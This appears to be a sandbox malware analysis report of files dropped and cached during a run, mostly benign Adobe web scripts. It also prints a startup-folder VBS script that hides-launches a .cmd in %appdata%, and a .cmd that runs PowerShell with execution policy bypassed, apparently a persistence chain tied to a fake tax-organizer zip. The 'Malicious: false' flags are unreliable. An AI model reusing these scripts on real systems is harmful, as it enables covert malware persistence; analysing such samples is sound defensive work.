Preview:	L..................F.@.. ...$+.,.......x...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:36:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.00456899145206
Encrypted:	false
SSDEEP:
MD5:	A0669AA527977D3D0468AE06D5077904
SHA1:	3154574D6312C262E223E4BEDED059C702F88579
SHA-256:	B57D0F9D627BE0D08CC1F6838E7EFC2F6BD6B0E780A1E366D4281F68BC613FFB
SHA-512:	4E0D50E32865383268B657332CA9362371D82DDD266A2AA5B635E70D89C63889B4BE01C1BC2AD10D578CC3775744E56523E98EDF27D1B567B31A01F0AA662133
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....z.x...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FDNUA.vbs

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	5.247335680454147
Encrypted:	false
SSDEEP:
MD5:	0F6FB21DA68A3C96727F7B3F41C6396E
SHA1:	556AF81855F434E38AD4A48A99F1C026EE7490D8
SHA-256:	5819DD543E8A14F37C805762DCD5A5D29D7DAD9FF8C16041605576CAB4FB2FD0
SHA-512:	26CA306248DCD8AF7E02CAD85058823B6F46A49D0AF6264311D096DD942471CA151B6978A813270B3858E3309F55313006422A836FCDF11BD56042513C2FBD9B
Malicious:	false
Reputation:	unknown
Preview:	on error resume next..Set UJMIL = WScript.CreateObject("WScript.Shell")..APPDATA = UJMIL.ExpandEnvironmentStrings("%appdata%\WindowsServices")..WScript.Sleep(3000).. Set EMPYA = CreateObject("Shell.Application")..EMPYA.ShellExecute APPDATA & "\VJQSJ.cmd", "", APPDATA, "", 0..

C:\Users\user\AppData\Roaming\WindowsServices\VJQSJ.cmd

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.916770317243774
Encrypted:	false
SSDEEP:
MD5:	98A00A7606758604E4AF1FFCD456465A
SHA1:	14F816305992F17A0C082F307D3F73AB94C1F859
SHA-256:	B05C782898BE147FC51E30F958325CF4D0494A46EE37AE8BBE52D47202AA792E
SHA-512:	99C37921A6ED3C380848EE10A1EDC5F61E807BDC25DB9F4F64F9242029C12DC0430E72483C59716D1270714241F7CF8180564B49180BA63D4961FB70DBD60901
Malicious:	false
Reputation:	unknown
Preview:	PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command %cd%\FNOBH.ps1..

C:\Users\user\Downloads\2023 Tax Organizer.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	283F7EABB82F578F49510915C4B2BF4F
SHA1:	719DDEB335D1A6CE6D58826A363E249D974B82F7
SHA-256:	BD8FF468B6FB4958059537257894153FC0CB9EB43F4A05C0B7C42DDD0FAC7DF9
SHA-512:	C5FD5916505024BCA1C9FBBDADFB8E851072A8923D469778AEFA7445AA174040494DD23EC32E5F55B9BE1FB1DB4BC710EA62191339432B412289A290A741C512
Malicious:	false
Reputation:	unknown
Preview:	PK...........X...F.....h......Tax Organizer 2023/g2m.dll.[.pSWz.W....._I..]...u..@H.w...].<b.....e7D2...,.C...7V..h.n.v..d..d.t.N.........!..x...,....,.&1.B.Fp..9.......s..z.`..A.20 ....K....X..1..0F..wd.>1....u..............n..`s.l...`K_....s..S...St.1..[0....P9..-1.i..{..D:..MLc...6..._.8.....H\|...@b.R.aU./..w...z..I..qYb.k?..Q%].S.Fl....0.....i\E........~...2:..?...q...{>.d..d. d.qB....Z....E. ...Q...O... X...}T.....D..N...8....h..D6..)'.g..r....H...0.-.<...h..3......../.g.....6.V.;..E^@=.....-.m..yS./..f...yL..M...:].....Y.c.C.>o.G.7..._.JG0[q@.^oF...qS]k....hM.X. }d.qi.w.>L.FLl^Q.+.:.7z\1.M..9[.u.........g..'.%...?.>n.3..)+Xp\....Mu....f.v......;.[.=.x...,[..*i.k...s..2^....O..Lx..+..J+8;.y..7 .Z...,.X.d.'.'h....'...b$X..#.l..I..B...cz.xF..........b..2...5....gW......tk%..B.....E72.1aQ(fsX...b..b.U......)-.0$....WX......v...c...9hW....J..(..V.i...q.b%.>...-.c......p~B\|r.A.9..c..x:.!+......a5..sQ5$...cV9.gV)..D ..../.......

C:\Users\user\Downloads\2023 Tax Organizer.zip.crdownload (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	283F7EABB82F578F49510915C4B2BF4F
SHA1:	719DDEB335D1A6CE6D58826A363E249D974B82F7
SHA-256:	BD8FF468B6FB4958059537257894153FC0CB9EB43F4A05C0B7C42DDD0FAC7DF9
SHA-512:	C5FD5916505024BCA1C9FBBDADFB8E851072A8923D469778AEFA7445AA174040494DD23EC32E5F55B9BE1FB1DB4BC710EA62191339432B412289A290A741C512
Malicious:	false
Reputation:	unknown
Preview:	PK...........X...F.....h......Tax Organizer 2023/g2m.dll.[.pSWz.W....._I..]...u..@H.w...].<b.....e7D2...,.C...7V..h.n.v..d..d.t.N.........!..x...,....,.&1.B.Fp..9.......s..z.`..A.20 ....K....X..1..0F..wd.>1....u..............n..`s.l...`K_....s..S...St.1..[0....P9..-1.i..{..D:..MLc...6..._.8.....H\|...@b.R.aU./..w...z..I..qYb.k?..Q%].S.Fl....0.....i\E........~...2:..?...q...{>.d..d. d.qB....Z....E. ...Q...O... X...}T.....D..N...8....h..D6..)'.g..r....H...0.-.<...h..3......../.g.....6.V.;..E^@=.....-.m..yS./..f...yL..M...:].....Y.c.C.>o.G.7..._.JG0[q@.^oF...qS]k....hM.X. }d.qi.w.>L.FLl^Q.+.:.7z\1.M..9[.u.........g..'.%...?.>n.3..)+Xp\....Mu....f.v......;.[.=.x...,[..*i.k...s..2^....O..Lx..+..J+8;.y..7 .Z...,.X.d.'.'h....'...b$X..#.l..I..B...cz.xF..........b..2...5....gW......tk%..B.....E72.1aQ(fsX...b..b.U......)-.0$....WX......v...c...9hW....J..(..V.i...q.b%.>...-.c......p~B\|r.A.9..c..x:.!+......a5..sQ5$...cV9.gV)..D ..../.......

C:\Users\user\Downloads\853e3259-3419-4519-8671-df216c72cbf5.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11063827
Entropy (8bit):	7.9986364964490235
Encrypted:	true
SSDEEP:
MD5:	283F7EABB82F578F49510915C4B2BF4F
SHA1:	719DDEB335D1A6CE6D58826A363E249D974B82F7
SHA-256:	BD8FF468B6FB4958059537257894153FC0CB9EB43F4A05C0B7C42DDD0FAC7DF9
SHA-512:	C5FD5916505024BCA1C9FBBDADFB8E851072A8923D469778AEFA7445AA174040494DD23EC32E5F55B9BE1FB1DB4BC710EA62191339432B412289A290A741C512
Malicious:	false
Reputation:	unknown
Preview:	PK...........X...F.....h......Tax Organizer 2023/g2m.dll.[.pSWz.W....._I..]...u..@H.w...].<b.....e7D2...,.C...7V..h.n.v..d..d.t.N.........!..x...,....,.&1.B.Fp..9.......s..z.`..A.20 ....K....X..1..0F..wd.>1....u..............n..`s.l...`K_....s..S...St.1..[0....P9..-1.i..{..D:..MLc...6..._.8.....H\|...@b.R.aU./..w...z..I..qYb.k?..Q%].S.Fl....0.....i\E........~...2:..?...q...{>.d..d. d.qB....Z....E. ...Q...O... X...}T.....D..N...8....h..D6..)'.g..r....H...0.-.<...h..3......../.g.....6.V.;..E^@=.....-.m..yS./..f...yL..M...:].....Y.c.C.>o.G.7..._.JG0[q@.^oF...qS]k....hM.X. }d.qi.w.>L.FLl^Q.+.:.7z\1.M..9[.u.........g..'.%...?.>n.3..)+Xp\....Mu....f.v......;.[.=.x...,[..*i.k...s..2^....O..Lx..+..J+8;.y..7 .Z...,.X.d.'.'h....'...b$X..#.l..I..B...cz.xF..........b..2...5....gW......tk%..B.....E72.1aQ(fsX...b..b.U......)-.0$....WX......v...c...9hW....J..(..V.i...q.b%.>...-.c......p~B\|r.A.9..c..x:.!+......a5..sQ5$...cV9.gV)..D ..../.......

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65378), with no line terminators
Category:	downloaded
Size (bytes):	187786
Entropy (8bit):	5.4582248764725545
Encrypted:	false
SSDEEP:
MD5:	C06229A781E83C19689A8E69F8490CA0
SHA1:	FC1EF66A9B1B2DE1143C4E4E04EA3A3D786F2BB8
SHA-256:	F01574CC465CD6503734AD8FBF4A41054A9F6E1E2ABB0CA6D75CA1FFC1D13696
SHA-512:	B96C49CE10EF36602B3C694626A1EB48D420AB495BA064398F93B305DE0353A09C1EFE37C2B1D4C6D521A2B2ACA8E50D84C66D741DCE0D4BC1F3E37DF42DA247
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-web-app-dropin/3.18.0_2.129.0/121.js
Preview:	(self["webpackJsonp-web-app"]=self["webpackJsonp-web-app"]\|\|[]).push([[121],{"8KsQ":(e,a,r)=>{"use strict";a.U=CrossLarge;var t=function _interopRequireDefault(e){return e&&e.__esModule?e:{default:e}}(r("YWiy"));function _extends(){return _extends=Object.assign\|\|function(e){for(var a=1;a<arguments.length;a++){var r=arguments[a];for(var t in r)Object.prototype.hasOwnProperty.call(r,t)&&(e[t]=r[t])}return e},_extends.apply(this,arguments)}function _objectWithoutProperties(e,a){if(null==e)return{};var r,t,n=function _objectWithoutPropertiesLoose(e,a){if(null==e)return{};var r,t,n={},o=Object.keys(e);for(t=0;t<o.length;t++)r=o[t],a.indexOf(r)>=0\|\|(n[r]=e[r]);return n}(e,a);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(t=0;t<o.length;t++)r=o[t],a.indexOf(r)>=0\|\|Object.prototype.propertyIsEnumerable.call(e,r)&&(n[r]=e[r])}return n}function CrossLarge(e){var a=e.scale,r=void 0===a?"M":a,n=_objectWithoutProperties(e,["scale"]);return t.default.createElement("svg",_

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25528)
Category:	downloaded
Size (bytes):	25574
Entropy (8bit):	5.428251644978354
Encrypted:	false
SSDEEP:
MD5:	50693BDD5997F38C9F24FCABC7A7D6B4
SHA1:	47D6D476A248D57A5BC53596DFD4118E73D12315
SHA-256:	2E7347BD752F9574CD766A969FB07EF3845084E6648F35F3A6C360106A22B9CC
SHA-512:	14D129F8B2BB27766015DE632D8D31CB9EC7350BDBCA28D44C69E1B9CF56E61DA455753B79831AA275C5856A6124F5C0D2A4C55F7759499F9FE2D01F8B7CF09D
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-global-nav-dropin/3.19.1_3.312.0/146-chunk.js
Preview:	(self["webpackJsonp-global-nav"]=self["webpackJsonp-global-nav"]\|\|[]).push([[146],{AXyZ:e=>{"use strict";e.exports=function(e){var r=[];return r.toString=function toString(){return this.map((function(r){var t=function cssWithMappingToString(e,r){var t=e[1]\|\|"",i=e[3];if(!i)return t;if(r&&"function"==typeof btoa){var n=function toComment(e){var r=btoa(unescape(encodeURIComponent(JSON.stringify(e)))),t="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(r);return"/# ".concat(t," /")}(i),o=i.sources.map((function(e){return"/# sourceURL=".concat(i.sourceRoot\|\|"").concat(e," /")}));return[t].concat(o).concat([n]).join("\n")}return[t].join("\n")}(r,e);return r[2]?"@media ".concat(r[2]," {").concat(t,"}"):t})).join("")},r.i=function(e,t,i){"string"==typeof e&&(e=[[null,e,""]]);var n={};if(i)for(var o=0;o<this.length;o++){var c=this[o][0];null!=c&&(n[c]=!0)}for(var s=0;s<e.length;s++){var a=[].concat(e[s]);i&&n[a[0]]\|\|(t&&(a[2]?a[2]="".concat(t," and ").concat(a[2]):a[2]=

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28278)
Category:	downloaded
Size (bytes):	28326
Entropy (8bit):	4.29277345373752
Encrypted:	false
SSDEEP:
MD5:	42DF9A5567C3C99560A1CCC28DF62476
SHA1:	340F211624B18E5BA8992A3E3145A87DA14E556E
SHA-256:	98EDDB8C9A965F96BD1518CC4547969C643D39AAA113A77A798828D742875911
SHA-512:	42E9BE2A86872A97F0D9CB10639DCE3923E790323FDCB600B43C825835BC7251F0A2BBE97C04BE667D4F4E8CE8B3E32C658C37E6FBCDBBF65EF31845FF60C09B
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-pdfverbs-web/3.17.1_4.807.0/24-24-icons.js
Preview:	(self["webpackJsonp-pdfverbs-web"]=self["webpackJsonp-pdfverbs-web"]\|\|[]).push([[983,8819],{KltA:(C,e,l)=>{var t=l("YWiy");function A12CompressPDF24(C){return t.createElement("svg",C,t.createElement("g",{fill:"none",fillRule:"evenodd"},[t.createElement("path",{fill:"#26C0C7",fillRule:"nonzero",d:"M4 15.2088397L4 20.8450012C4 21.5634921 4.49946918 21.9479712 5.2040863 22L18.6710205 22C19.3889161 22 19.977064 21.4440134 20.0290488 20.7388111L20.0327839 20.6370968 20.0327839 15.2574463 21.0184021 16.1906128 20.9375 20.9234001C20.9375 22.0121426 20.0871333 22.9021045 19.0148759 22.9642845L18.894855 22.9677549 5.03627929 22.9697993C3.94844766 22.9697993 3.0592298 22.1187211 2.99710178 21.0455658L2.99363426 16.1906128 4 15.2088397zM5.09403947 1.00772415L15.6902478 1.00772415C16.0959934 1.00660343 16.4869268 1.15161604 16.7925771 1.4135829L16.8912052 1.50519679 20.5134541 4.97799158C20.8023297 5.2658521 20.9782179 5.64577867 21.0123241 6.04898909L21.0184021 6.18416057 21.0184021 7.90342508 20

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	102154
Entropy (8bit):	5.503152367625143
Encrypted:	false
SSDEEP:
MD5:	8DE23108C8836398313D146E6CE71FCC
SHA1:	4A00B933092C9D00488FF39555263D383233EF68
SHA-256:	7C55BACE96FF8D43C1D55BDB04A33D05186E6902A88BF2C4EB90E07BE5D1B7D2
SHA-512:	8AD9DE94CC3A61B962C99FA921065BD07894A8507EE30889B7E36B56F170FE84272F684718ABB9CA97225F44B2142F2ED46CFE61B082733B2E7B0938438B0EAB
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-rendition-provider/3.19.2_6.30.0/AJS/build/wasm_acrobat_we.js
Preview:	var Module=void 0!==Module?Module:{};Error.stackTraceLimit=200,self.prejs_time=performance.now();var moduleOverrides=Object.assign({},Module),arguments_=[],thisProgram="./this.program",quit_=(e,r)=>{throw r},ENVIRONMENT_IS_WEB="object"==typeof window,ENVIRONMENT_IS_WORKER="function"==typeof importScripts,ENVIRONMENT_IS_NODE="object"==typeof process&&"object"==typeof process.versions&&"string"==typeof process.versions.node,scriptDirectory="",read_,readAsync,readBinary,setWindowTitle;function locateFile(e){return Module.locateFile?Module.locateFile(e,scriptDirectory):scriptDirectory+e}if(ENVIRONMENT_IS_NODE){var fs=require("fs"),nodePath=require("path");scriptDirectory=ENVIRONMENT_IS_WORKER?nodePath.dirname(scriptDirectory)+"/":__dirname+"/",read_=(e,r)=>(e=isFileURI(e)?new URL(e):nodePath.normalize(e),fs.readFileSync(e,r?void 0:"utf8")),readBinary=e=>{var r=read_(e,!0);return r.buffer\|\|(r=new Uint8Array(r)),r},readAsync=(e,r,t)=>{e=isFileURI(e)?new URL(e):nodePath.normalize(e),fs.readFi

Chrome Cache Entry: 184

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7577)
Category:	downloaded
Size (bytes):	8200
Entropy (8bit):	5.076769061042459
Encrypted:	false
SSDEEP:
MD5:	A14505DD97019A129F678D3576650BE0
SHA1:	FA95E06B3D5CE939A495221A5C47C17E70224963
SHA-256:	C364869FB939DE1903CED5B43092878FD11A03FF4C0EE2CF9715401352A343C9
SHA-512:	1208CF9A636E07834E1E9656D9A55B7661E089A3EECC90D4E7933E3C87661D65C0C22A2D18317F2DF0B834B0D0725B948497E718DF89B3BA0822CA77ABA3AC8F
Malicious:	false
Reputation:	unknown
URL:	https://wwwimages2.adobe.com/etc/beagle/public/globalnav/adobe-profile/latest/adobe-profile.min.css
Preview:	/! adobe-profile - v1.1.15 - 02-01-2022, 10:00:00 AM..ADOBE CONFIDENTIAL.==================.Copyright 2022 Adobe Systems Incorporated.All Rights Reserved...NOTICE: All information contained herein is, and remains.the property of Adobe Systems Incorporated and its suppliers,.if any. The intellectual and technical concepts contained.herein are proprietary to Adobe Systems Incorporated and its.suppliers and are protected by trade secret or copyright law..Dissemination of this information or reproduction of this material.is strictly forbidden unless prior written permission is obtained.from Adobe Systems Incorporated../.Profile-avatar,.Profile-thumbnail{background-repeat:no-repeat;background-position:center;background-size:cover}.Profile-button,.Profile-header-cta,.Profile-menu-link{text-decoration:none;transition:all 125ms ease-in-out}.Profile-header:focus,.Profile-menu-link:focus,.Profile-thumbnail:focus,.accessibility-focus:focus{outline-offset:-3px}.Profile-thumbnail{display:block;wi

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65463)
Category:	downloaded
Size (bytes):	232813
Entropy (8bit):	5.51690110618624
Encrypted:	false
SSDEEP:
MD5:	24CD1EA752F4473C7A8D1C65783AE626
SHA1:	4B70D119EC4EE48AB74F4761A5B1BA4E574C63FD
SHA-256:	710F5B945E5222B1AD77E025B9EDE5CCFD7AF8C34F7EBE8E3B5E130150C7843E
SHA-512:	4BB7BF258E175979C026EC53DCC8948401E7CFBE4F82A3C81AF8AA20430D2021287C07C4825533B8936AD0F51FD6D2B38EB6BB2A84F4D125F882BCE65759929B
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-rendition-provider/3.19.2_6.30.0/rendition.js
Preview:	/! For license information please see rendition.js.LICENSE.txt /.(()=>{var s,f,_={sR8A:s=>{s.exports=function(s){function t(f){for(var P,y,S=f[0],O=f[1],M=0,q=[];M<S.length;M++)y=S[M],Object.prototype.hasOwnProperty.call(_,y)&&_[y]&&q.push(_[y][0]),_[y]=0;for(P in O)Object.prototype.hasOwnProperty.call(O,P)&&(s[P]=O[P]);for(E&&E(f);q.length;)q.shift()()}var f={},_={main:0};function i(_){if(f[_])return f[_].exports;var P=f[_]={i:_,l:!1,exports:{}};return s[_].call(P.exports,P,P.exports,i),P.l=!0,P.exports}i.e=function(s){var f=[],P=_[s];if(0!==P)if(P)f.push(P[2]);else{var y=new Promise((function(f,y){P=_[s]=[f,y]}));f.push(P[2]=y);var S,E=document.createElement("script");E.charset="utf-8",E.timeout=120,i.nc&&E.setAttribute("nonce",i.nc),E.src=function(s){return i.p+""+s+".index.js"}(s);var O=new Error;S=function(f){E.onerror=E.onload=null,clearTimeout(M);var P=_[s];if(0!==P){if(P){var y=f&&("load"===f.type?"missing":f.type),S=f&&f.target&&f.target.src;O.message="Loading chunk "+s+" fa

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	491528
Entropy (8bit):	5.759046995862347
Encrypted:	false
SSDEEP:
MD5:	B4C8FF449B8A90A7FF6273A72FAF45FE
SHA1:	6CC31CE736727E5A834A8056EC18A9564C4CB310
SHA-256:	2B52E160B0E68487C6190BEB887BA55DA796C4A513F0F90FBC39012E1B8FE402
SHA-512:	EC5E4B7F37756EC232D511D357D48532EF71A9B95B02B0E270364D305ABF4484C87A949DC563D07554A18FF7BBC1028CBFF4A15F9D506262E4A1B243423B368A
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-pdfverbs-web/3.17.1_4.807.0/bootstrap.js
Preview:	(()=>{var e,t,o,r,i={HZFE:(e,t,o)=>{"use strict";o.d(t,{Z:()=>__WEBPACK_DEFAULT_EXPORT__});var r=o("YWiy");const __WEBPACK_DEFAULT_EXPORT__=e=>t=>o=>r.createElement(t,Object.assign({},o,e))},AXyZ:e=>{"use strict";e.exports=function(e){var t=[];return t.toString=function toString(){return this.map((function(t){var o=function cssWithMappingToString(e,t){var o=e[1]\|\|"",r=e[3];if(!r)return o;if(t&&"function"==typeof btoa){var i=function toComment(e){var t=btoa(unescape(encodeURIComponent(JSON.stringify(e)))),o="sourceMappingURL=data:application/json;charset=utf-8;base64,".concat(t);return"/# ".concat(o," /")}(r),n=r.sources.map((function(e){return"/# sourceURL=".concat(r.sourceRoot\|\|"").concat(e," /")}));return[o].concat(n).concat([i]).join("\n")}return[o].join("\n")}(t,e);return t[2]?"@media ".concat(t[2]," {").concat(o,"}"):o})).join("")},t.i=function(e,o,r){"string"==typeof e&&(e=[[null,e,""]]);var i={};if(r)for(var n=0;n<this.length;n++){var a=this[n][0];null!=a&&(i[a]=!0)}for(var

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	876672
Entropy (8bit):	5.3493747224752815
Encrypted:	false
SSDEEP:
MD5:	8D7937B4E2A84255CDA8AF1AB85C2530
SHA1:	D11C25597F6C93BD288D6E94C4CEB61CCBF5493E
SHA-256:	D9FE1F3B67D1CCDB83D78FE93C81A3961278B277D0007DC7ECD0A2A830C5B616
SHA-512:	DE99176CEA17FEA3266D80453021E13F7DBED351A281A309E569C969C454B6352B8441DAE9965479D8B6E04635DFD1B89AAC6C686EAF416815A5EA076B2939EA
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-core/3.26.1/dc-spectrum-v3-core.js
Preview:	(()=>{var e={kmCo:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.AlertSmall=s;var n,o=(n=r("GiK3"))&&n.__esModule?n:{default:n};function i(){return i=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},i.apply(this,arguments)}function s(e){var t=e.scale,r=void 0===t?"M":t,n=function(e,t){if(null==e)return{};var r,n,o=function(e,t){if(null==e)return{};var r,n,o={},i=Object.keys(e);for(n=0;n<i.length;n++)r=i[n],t.indexOf(r)>=0\|\|(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n<i.length;n++)r=i[n],t.indexOf(r)>=0\|\|Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}(e,["scale"]);return o.default.createElement("svg",i({},n,n),"L"===r&&o.default.createElement("path",{d:"M8.564 1.289L.2 16.256A.5.5 0 0 0 .636 17h16.728a.5.5 0 0 0 .436-.744L9.436 1.289a.5.5 0 0 0-.872 0zM10 14.75a.25

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5906)
Category:	downloaded
Size (bytes):	5954
Entropy (8bit):	4.655259177387779
Encrypted:	false
SSDEEP:
MD5:	7F138CE1679B288CBF0DA64964D26EA7
SHA1:	BFFCF2F654E8C728A5AC472522E79964B63C4FDD
SHA-256:	0F10B2C3E61121B99A186D14F9503C153B265C05191B5A57A616BED8FAFF1BAE
SHA-512:	88008BAB2E7952866C58AE5B2AD344C48EE048B07C2FCAEE1DB9AA18C01D5D72EE247B5AE060CD9E9C131EE46FBA47F86434F27A07DC90D94FF78404E48C860E
Malicious:	false
Reputation:	unknown
URL:	https://acrobat.adobe.com/dc-pdfverbs-web/3.17.1_4.807.0/18-18-icons.js
Preview:	(self["webpackJsonp-pdfverbs-web"]=self["webpackJsonp-pdfverbs-web"]\|\|[]).push([[7070],{ZutN:(e,a,l)=>{var t=l("YWiy");function SDCCompressPdf18N(e){return t.createElement("svg",e,t.createElement("g",null,[t.createElement("path",{d:"M3.49916,5.01609V2.24652A.74286.74286,0,0,1,4.21946,1.5h7.2811a.51334.51334,0,0,1,.33575.13915L14.35639,4.1947a.50157.50157,0,0,1,.14445.35546v.45946a4.44135,4.44135,0,0,1,1.47451-.71946,1.972,1.972,0,0,0-.55315-1.15109L12.90212.58347A1.98609,1.98609,0,0,0,11.50251,0H4.20877A2.248,2.248,0,0,0,2,2.24994V4.285A4.44161,4.44161,0,0,1,3.49916,5.01609Z",fill:"var(--iconFill, #464646)",key:0}),t.createElement("path",{d:"M14.50083,12.20058V14.7535a.743.743,0,0,1-.72127.74656H4.23021a.74557.74557,0,0,1-.731-.75V12.19416A4.442,4.442,0,0,1,2,12.92528v1.82136A2.2508,2.2508,0,0,0,4.21946,17H13.7903A2.24882,2.24882,0,0,0,16,14.75006V12.92761A4.44221,4.44221,0,0,1,14.50083,12.20058Z",fill:"var(--iconFill, #464646)",key:1}),t.createElement("path",{d:"M.97247,11.08558.627,1

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34857)
Category:	downloaded
Size (bytes):	72349
Entropy (8bit):	5.442240372856847
Encrypted:	false
SSDEEP:
MD5:	E4921B84A2B318984E39470926D1B64F
SHA1:	822ECCDF40D94851E516E11EAE067BD9CD9CC2D4
SHA-256:	7D57D54D603A804BB51D0D3404FF5DC4CE9E069973FCD8C37B621CA4A7A9D41B
SHA-512:	A3C065ACCBE02805770955CA63C289440A710AB45BC177DADAC13F58FB7B55BA40B928A9EEA5A9F4DD3A4AEB208B2E22D3277B9A984F649B571C249281E50ACC
Malicious:	false
Reputation:	unknown
URL:	https://widget.uservoice.com/6gNXXegDB6rtHARrNKRF8w.js
